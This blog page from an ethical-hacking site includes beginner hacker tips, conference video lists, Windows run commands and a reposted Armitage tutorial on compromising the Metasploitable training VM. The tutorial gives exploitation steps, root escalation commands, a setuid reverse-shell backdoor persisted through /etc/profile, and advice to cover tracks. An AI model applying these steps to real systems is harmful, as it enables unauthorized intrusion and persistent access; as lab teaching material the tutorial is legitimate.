IP

Showing posts with label Ethical Hacking Certification notes. Show all posts
Showing posts with label Ethical Hacking Certification notes. Show all posts

Friday, August 19, 2011

5 Things Every Beginner Hacker Should Know


5 Most Common Mistakes Done by Beginners in the field of Hacking
This post is for everyone out there who actually want to become a true hacker:-
1) Never trust sites that ask you for money in return of Hacking Softwares or who claim to Hack Email Id’s in return of money. All such things are Scam . Nothing Works.

2) There is NO DIRECT SOFTWARE  to Hack Facebook , Google , Yahoo or any other big website. All the softwares that claim to do so are scam. They are just meant to take your money and in worse cases, those softwares have trojans or keyloggers in them. As a result your account gets hacked trying to hack others.
3) NEVER EVER use the keyloggers or trojans you find as freeware on internet. Hackers are not fools. They compile keyloggers and trojans almost with any such software and when you install them , you are already hacked before even trying to hack others.
4) You are never going to be a good hacker without the knowledge of programming and scripting languages. When you are going to use only ready made softwares and would depend on them for hacking anything then your functionality would be limited upto the functionality of the software. When you are not going to use your brain , just doing the copy paste thing, then how can you even think of being a good hacker.
5) If you are a good Hacker, you already become a good programmer , a good script writer , a good web developer and an excellent security expert. Well any good Hacker will/should have good knowledge of various aspects and programming languages. to do XSS (Cross Site Scripting ) , PHP INJECTION , SQL INJECTION , PHISHING, FOOTPRINTING etc… you will have to be good at programing and scripting. And when you know the Various loop holes , vulnerabilities and security tips, you already become a Computer Security Expert.
So Never Ever Under estimate the term Hacker. A Hacker Is Not a person who just hacks email id’s or servers but a True Hacker is a Computer Genius who the knowledge of computers more than anyone.
Next time think before asking the question – “How much Will I get in this field?” because, if you have so many skills , you really don’t have to run after money. Success comes and money follows itself.
Hackers: Heroes of the Computer Revolution - 25th Anniversary EditionHackersHackers: Heroes of the Computer RevolutionHackersHackersGhost in the Wires: My Adventures as the World's Most Wanted Hacker

Website Hacking

Sunday, August 14, 2011

Hacking Forensic Security(HFS)


Available playlists:This channel offers a collection of Hacking, Forensics and Security Conference videos.

Security conferences
01 22C3: Private Investigations
02 23C3: Who can you trust
03 24C3: Full steam ahead
04 25C3: Nothing to hide
05.1 26C3: Here be dragons day 1
05.2 26C3: Here be dragons day 2
05.3 26C3: Here be dragons day 3
05.4 26C3: Here be dragons day 4
06 27C3: We come in peace
07 Black Hat USA 2010
07.01 BH USA 2010 - BIG PICTURE
07.02 BH USA 2010 - BUG COLLECTING
07.03 BH USA 2010 - CLIENT SIDE
07.04 BH USA 2010 - CLOUD VIRTUALIS
07.05 BH USA 2010 - CYBER WAR
07.06 BH USA 2010 - EXECUTIVE
07.07 BH USA 2010 - EXPLOITATION
07.08 BH USA 2010 - INFRASTRUCTURE
07.09 BH USA 2010 - KEYNOTE
07.10 BH USA 2010 - MALWARE+FINGERPR
07.11 BH USA 2010 - MEET THE FEDS
07.12 BH USA 2010 - MOBILE
07.13 BH USA 2010 - NETWORK
07.14 BH USA 2010 - OS WARS
07.15 BH USA 2010 - PRIVACY
07.16 BH USA 2010 - PROGRAMMATIC
07.17 BH USA 2010 - REVERSE ENGI
07.18 BH USA 2010 - REVERSE ENGINEERING REDUX
07.19 BH USA 2010 - SPECIAL EVENTS
07.20 BH USA 2010 - TURBO
07.21 BH USA 2010 - WEB APPS
07.22 BH USA 2010 - WHERE DATA LIVES
08 Black Hat DC 2010
09 Black Hat Europe 2010
10 BlueHat v9
11 BlueHat v10
12 Brucon 2009
13 Brucon 2010
14 DeepSec 2007
15 DeepSec 2009
16 DEFCON 13
17 DEFCON 14
18 DEFCON 15
19 DEFCON 16
20 DEFCON 17
21.1 DEFCON 18-1
21.2 DEFCON 18-2
21.3 DEFCON 18-3
22 Hack in the Box 2009 Malaysia
23 Hacktivity 2010
24 HAR 2009
25 NOTACON 2
26 NOTACON 3
27 NOTACON 4
28 NOTACON 5
29 NOTACON 6
30 NOTACON 7
31 NOTACON 8
32 OWASP AppSec 2010
33 OWASP AppSec USA 2010
34 OWASP FROC 2010
35 RSA Conference USA 2010
36 ShmooCon 2008
37 ShmooCon 2009
38 ShmooCon 2010
39 ShmooCon 2011
40 SOURCE Barcelona 2010
41 SOURCE Boston 2008
42 SOURCE Boston 2009
43 SOURCE Boston 2010

Other44 Cyber Defense Weekly webcast
45 Fast-Track
46 Metasploit Class
47 Password Exploitation Class
48 The CERIAS Security Seminars 2004
49 The CERIAS Security Seminars 2005
50 The CERIAS Security Seminars 2005 (2)
51 The CERIAS Security Seminars 2006
52 The CERIAS Security Seminars 2007
53 The CERIAS Security Seminars 2008
54 The CERIAS Security Seminars 2009
55 The CERIAS Security Seminars 2010

Category56 awareness
57 Bluetooth Hacking
58 Bufferoverflow
59 cross site scripting
60 Denial of Service attacks
61 digital forensics
62 exploit videos
63 hacking (general)
64 milw0rm
65 News
66 overige
67 Password cracking
68 session hijacking
69 Sniffing
70 Spoofing
71 SQL injection
72 wireless hacking

100+ Run Commands


  • Accessibility Options : access.cpl
  • Add Hardware: hdwwiz.cpl
  • Add / Remove Programs: appwiz.cpl
  • Administrative Tools : control admintools
  • Automatic Updates: wuaucpl.cpl
  • Wizard file transfer Bluethooth: fsquirt
  • Calculator: calc
  • Certificate Manager: certmgr.msc
  • Character: charmap
  • Checking disk : chkdsk
  • Manager of the album (clipboard) : clipbrd
  • Command Prompt : cmd
  • Service components (DCOM) : dcomcnfg
  • Computer Management : compmgmt.msc
  • DDE active sharing : ddeshare
  • Device Manager : devmgmt.msc
  • DirectX Control Panel (if installed) : directx.cpl
  • DirectX Diagnostic Utility : dxdiag
  • Disk Cleanup : cleanmgr
  • System Information=dxdiag
  • Disk Defragmenter : dfrg.msc
  • Disk Management : diskmgmt.msc
  • Partition manager : diskpart
  • Display Properties : control desktop
  • Properties of the display (2) : desk.cpl
  • Properties display (tab "appearance") : control color
  • Dr. Watson: drwtsn32
  • Manager vérirficateur drivers : check
  • Event Viewer : Eventvwr.msc
  • Verification of signatures of files: sigverif
  • Findfast (if present) : findfast.cpl
  • Folder Options : control folders
  • Fonts (fonts) : control fonts
  • Fonts folder windows : fonts
  • Free Cell ...: freecell
  • Game Controllers : Joy.cpl
  • Group Policy (XP Pro) : gpedit.msc
  • Hearts (card game) : mshearts
  • IExpress (file generator. Cab) : IExpress
  • Indexing Service (if not disabled) : ciadv.msc
  • Internet Properties : inetcpl.cpl
  • IPConfig (display configuration): ipconfig / all
  • IPConfig (displays the contents of the DNS cache): ipconfig / displaydns
  • IPConfig (erases the contents of the DNS cache): ipconfig / flushdns
  • IPConfig (IP configuration cancels maps): ipconfig / release
  • IPConfig (renew IP configuration maps) : ipconfig / renew
  • Java Control Panel (if present) : jpicpl32.cpl
  • Java Control Panel (if present) : javaws
  • Keyboard Properties: control keyboard
  • Local Security Settings : secpol.msc
  • Local Users and Groups: lusrmgr.msc
  • Logout: logoff
  • Microsoft Chat : winchat
  • Minesweeper (game): winmine
  • Properties of the mouse: control mouse
  • Properties of the mouse (2): main.cpl
  • Network Connections : control NetConnect
  • Network Connections (2): ncpa.cpl
  • Network configuration wizard: netsetup.cpl
  • Notepad : notepad
  • NView Desktop Manager (if installed): nvtuicpl.cpl
  • Manager links: packager
  • Data Source Administrator ODBC: odbccp32.cpl
  • Screen Keyboard: OSK
  • AC3 Filter (if installed) : ac3filter.cpl
  • Password manager (if present): Password.cpl
  • Monitor performance : perfmon.msc
  • Monitor performance (2): perfmon
  • Dialing Properties (phone): telephon.cpl
  • Power Options : powercfg.cpl
  • Printers and Faxes : control printers
  • Private Character Editor : eudcedit
  • Quicktime (if installed) : QuickTime.cpl
  • Regional and Language Options: intl.cpl
  • Editor of the registry : regedit
  • Remote desktop connection : mstsc
  • Removable Storage: ntmsmgr.msc
  • requests the operator to removable storage: ntmsoprq.msc
  • RSoP (traduction. ..) (XP Pro): rsop.msc
  • Scanners and Cameras : sticpl.cpl
  • Scheduled Tasks : control schedtasks
  • Security Center : wscui.cpl
  • Console management services: services.msc
  • shared folders : fsmgmt.msc
  • Turn off windows : shutdown
  • Sounds and Audio Devices : mmsys.cpl
  • Spider (card game): spider
  • Client Network Utility SQL server : cliconfg
  • System Configuration Editor : sysedit
  • System Configuration Utility : msconfig
  • System File Checker (SFC =) (Scan Now) : sfc / scannow
  • SFC (Scan next startup): sfc / scanonce
  • SFC (Scan each démarraget) : sfc / scanboot
  • SFC (back to default settings): sfc / revert
  • SFC (purge cache files): sfc / purgecache
  • SFC (define size CAHC x) : sfc / cachesize = x
  • System Properties : sysdm.cpl
  • Task Manager : taskmgr
  • Telnet client : telnet
  • User Accounts : nusrmgr.cpl
  • Utility Manager (Magnifier, etc) : utilman
  • Windows firewall (XP SP2) : firewall.cpl
  • Microsoft Magnifier: magnify
  • Windows Management Infrastructure: wmimgmt.msc
  • Protection of the accounts database: syskeye
  • Windows update: wupdmgr
  • Introducing Windows XP (if not erased) : tourstart
  • Wordpad : write
  • Date and Time Properties : timedate.cpl
Pic-run

Saturday, August 13, 2011

Hacking And Security Video Tutorials Collection




Monday, August 8, 2011

Tutorial: Hacking Linux with Armitage


Tutorial: Hacking Linux with Armitage
armitage.pngBy Raphael Mudge, Armitage Creator
Metasploit is a popular exploitation framework that has seen plenty of coverage on ethicalhacker.net. This article introduces Armitage, a new GUI for Metasploit built around the hacking process. Today, I will show you how to use Armitage to scan a Linux host, find the right exploit, exploit the host, and handle post-exploitation. By following this process, you will learn how to use Armitage and Metasploit in your own work.
The target we will use is the Metasploitable Linux virtual machine. Metasploitable contains several vulnerabilities making it a safe, and, dare I say ethical, training ground for future penetration testers.
Armitage's User Interface
Read the Armitage documentation to get Armitage running. Through the rest of this article, I will assume that you have Metasploitable running, Armitage is ready, and that you have downloaded this Python script that we will use later.  Let's get to work.
The Armitage user interface has three parts. The modules area lets you search and launch any of Metasploit's modules. The targets area displays your active targets and sessions. Below the modules and targets are the tabs. Each dialog, shell, and console is opened in its own tab.
image1.png
The Armitage User Interface

Scanning

Before we can attack a host, we must first perform our reconnaissance step. Armitage provides several tools for this in the Hosts menu. You can import a vulnerability or port scan, launch NMap, or launch Metasploit's discovery modules.
I recommend launching NMap outside of Armitage and importing the results. By doing this, you will get feedback on the scan while it runs. To launch a full port scan with OS detection and service identification, use:
nmap -p 1-65535 -T5 -A -v 172.16.146.0/24 -oX scan.xml
Replace 172.16.146.0/24 with your network description or the IP address of Metasploitable. Once the scan is complete, import it into Armitage. Go to Hosts -> Import Hosts -> Nmap Scan Results and select your file. You will now see the Metasploitable Linux box in the Armitage targets view.
 image2.png
A Host
To view the results of the NMap scan: right-click the host and select Services. This will bring up a tab showing the results of our scan. The results are grouped into name, port, proto, and info columns.
image3.png
Metasploitable's Services
The name column is the name of the service nmap identified on the scanned port. Proto tells you if the service detected uses the UDP or TCP protocol. The port number lets you know which port we're talking about. And finally, the info column gives you a banner grab from the port. This is very important as it helps us identify which service is running on that port. We'll use this information to come up with attack options.

Attack: Simple Remote Exploitation

metasploit_ex_ad.gifMetasploit has over 650 exploits. If you don't know which one you want to use, this list may seem intimidating. Fortunately, Armitage can help narrow this list down. Go to Attacks ->Find Attacks -> by port. Armitage will analyze your hosts and build a custom attack menu for each. Wait for the "Attack analysis is complete" dialog before continuing.
Right-click on the target and you'll notice an attack menu. The attack menu will have submenus for each exploitable service on the target host. Not all of these exploits are applicable, but these are the best candidates.
Looking at the services information (see previous section), we see that Metasploitable is running ProFTPD 1.3.1. Go to Attack -> ftp and select one of the ProFTPD exploits. Selecting an exploit will bring up a dialog with information about the exploit and options you can adjust. If you read the description, you'll see that the ProFTPD exploits are for a different version of ProFTPD. Drats, this attack won't work for us.
image4.png
Armitage's Exploit Launcher Dialog
Right-click the target again, go to Attack -> Samba -> usermap_script. You'll notice this is for a specific version of Samba in the 3.0.20-25 range. You'll also observe from the services tab that our target is running Samba 3.x. We don't know the exact version it's running. It's worth trying the exploit. There are no settings you need to change here. Simply click launch to launch the exploit.
If you're successful, the target host will turn red with lightning bolts. Congratulations, you've exploited the target! Right-click your target and select Shell 1 -> Interact to open a tab with your shell. We'll cover this more when we get to post-exploitation.
image5.png
A Compromised Host
If you're familiar with Metasploit, you may be asking about other payloads. Armitage chooses the Metasploit payload for you. If you're attacking Windows, Armitage will choose meterpreter. If you're attacking any other operating system, Armitage will select a command shell payload. If you're not a Metasploit warrior yet, know that exploits are the delivery mechanism and payloads are the programs that get executed on the exploited host.
Now let's undo all that work by selecting the Console tab and typing sessions -K. This will kill all existing sessions.

Attack: Web Application Exploitation

In the future, I expect the Metasploit Framework will have a mature capability to audit and attack any web application. Today, there are several exploits for common web applications. Right-click the target, go to Attack ->Webapp to see some of them.
image6.png
So many web app exploits!
These exploits were chosen, because they're associated with the open port on your target. Unfortunately, you may not know which of these applications are installed. This is ok as Armitage will help again. Select the check exploits... item at the bottom of this menu.
The check exploits... command will open a console tab and run an active check of each exploit against the selected target. This is accomplished using Metasploit's check command. Some exploits do not support this, but many of them do.
Once the checks are complete, type Ctrl+F to open a search dialog. Type vulnerable and hit enter. This search will lead you to any exploits that worked.
image7.png
Found a Working Exploit
You'll notice that tikiwiki_graph_formula_exec is vulnerable. Right-click the target and select Attack -> Webapp ->tikiwiki_graph_formula_exec. As we did before, click the Launch button when the dialog comes up. Now just wait for the computer to turn red.
To kill this shell, right-click the target and navigate to Shell 2 -> Disconnect.

Attack: Brute Force Login

This next attack will require a few steps. Look at port 8180 in the services tab. From the info field, we can see this port is running Apache Tomcat JSP 1.1.
Click the search field in the module browser. Type tomcat and press enter. There is one exploit for Tomcat:exploit/multi/http/tomcat_mgr_deploy. Double-click this module to open its launch dialog. If you look at the variables, you'll notice we need a username and a password. We don't have these yet, so close this launch dialog.
image8.png
Module Search Results
Metasploit has several auxiliary modules for guessing usernames and passwords. These modules are usually named service_login. Looking at the module search results for tomcat, you'll auxiliary/http/tomcat_mgr_login. This is what we need. Double-click it to open a launch dialog.
image9.png
tomcat_mgr_login Dialog
You'll notice all of the parameters are set including the USERPASS_FILE option. USERPASS_FILE points to a file with a list of usernames and passwords. If you double-click this option in the Option column, Armitage will open a file chooser to let you select another file. Fortunately, this file is fine. Make sure you set RPORT to the correct value though. The target is running Tomcat on port 8180, not the default value of 8080.
image10.png
Password Guessing Output
Click launch to start the brute force. If you read the output, you'll notice the login is tomcat:tomcat. That's easy enough.
Open the launcher for the tomcat_mgr_deploy exploit. Set the RPORT option to 8180 as well. Set USERNAME andPASSWORD to tomcat. Select the Target of the host. Here we're attacking a Linux host. Click Launch and wait. Congratulations you have obtained another shell!

Post Exploitation

Now that you've learned how to get access to the host, let's talk about post exploitation. Right-click the compromised host, go to the Shell 3 menu, and select Interact to interact with the shell. This will bring the shell up in its own tab.
Standard console features apply here. You may use the up/down arrows to access your command history. You may also type Ctrl+F if you need to search through the output. If you close the tab, your shell session will still exist. You may open it again by selecting the Interact menu item again.
To find out who you are, type: id in the shell. You'll see from the Tomcat attack that you're tomcat55. Let's work on getting root.

Privilege Escalation

Privilege escalation in Linux is something that depends on your environment. If you're looking for some ideas, visithttp://www.exploit-db.com and search for recent local exploits on Linux. One bug found by Tavis Ormandy stands out. This bug allows us to create a new world-writeable file owned by the root user anywhere on the system. Tavis's example writes a file to crontab and uses that to run our desired commands as the root user. In my tests, crontab did not execute these commands on Metasploitable. This happens. So, what else can we do? Examining other recent advisories, you'll learn about the Ubuntu mountall privilege escalation vulnerability. A bug in the mountall utility leaves a world-writeable root.rules file in /dev/.udev/rules.d. Anyone capable of writing to this file can use it to execute arbitrary commands as the root user. A quick ls reveals that root.rules doesn't exist in this folder. Maybe this is not our lucky day.
Do you see any options? Let's modify Tavis's example to create a world-writeable root.rules file and get a root shell through it. Type the following commands into your target's shell:
umask 0
export LD_AUDIT="libpcprofile.so"
export PCPROFILE_OUTPUT="/dev/.udev/rules.d/root.rules"
ping
export LD_AUDIT=""
cd /tmp
You will now have a world-writeable root.rules file in /dev/.udev/rules.d. You now need to upload mountall-CVE-2010-2961.py to the Metasploitable host. Right-click in the shell window and select the Upload... menu item. Navigate to the mountall-CVE-2010-2961.py file and click Open. Armitage will use the UNIX printf command to upload the file. Since the file is so small, the upload will be instant. If the file were larger, Armitage would display the upload progress.
This Python script populates the root.rules file with commands to create a setuid shell at /tmp/toor. It also generates UDEV events to force the system to evaluate the rules file. Run this python script on the target to get root:
python mountall-CVE-2010-2961.py
whoami 
image11.png
Armitage Privilege Escalation
Congratulations, you're now root. Make sure to cover your tracks by deleting the root.rules, the mountall-CVE-2010-2961.py, and /tmp/toor files.

Persistence

Once you have root, the next step is to add a backdoor to keep your access. Clear the module browser search box and hit enter. This will restore the default module list. Navigate to payload/linux/x86/shell_reverse_tcp. Double-clickshell_reverse_tcp to open a launch dialog.
Here you can generate a Metasploit payload executable. Change the LPORT value to 1234. Select elf for the output type. Elf is a file format for executables on Linux. Click Launch and save the file as backdoor. Now we have a program that will connect to our attack box on port 1234 with a shell when run.
Now let's set up a listener for our callback shell. Go to Armitage -> Listeners -> Reverse. Type 1234 as the port and click Start Listener.
Right-click in the shell window and select Upload... to upload backdoor to the target host. Type the following commands:
mv backdoor /usr/bin/setup.host
chmod +x /usr/bin/setup.host
chmod ug+s /usr/bin/setup.host
echo "setup.host &\n" >>/etc/profile 
These commands add our setuid backdoor to the global profile file. When a user logs in, we will receive a root shell from our target.
Kill all shell sessions with sessions -K in the Metasploit console. Switch to the Metasploitable virtual machine. Login as the user msfadmin with the password msfadmin. If you look at Armitage, you should see a new shell session. Open it up and type whoami.

Conclusion

I've shown you how to attack a Linux machine. You saw how to use nmap to scan the target. You learned how to interpret the results of the scan to find and launch attacks. You also learned how to escalate your privileges and persist yourself.
While Metasploit and Armitage weren't the only tools in this adventure, you can see how they aided this process. Armitage does not hack for you, but it provides tools (e.g., the printf upload feature) to make the process easier.
Some of the steps from this article are shown in the following video. Watch it to whet your appetite. To get the most out of this article, download the materials mentioned and carry out this scenario yourself. If you want to challenge yourself, try getting into Metasploitable in other ways. Good luck and happy hacking!

About the Author

Raphael Mudge is a Washington, DC based security engineer. He's created several projects including jIRCii, Sleep, and After the Deadline. He's now working on Armitage, a cyber attack management tool for Metasploit. You can contact him at http://www.hick.org/~raffi/.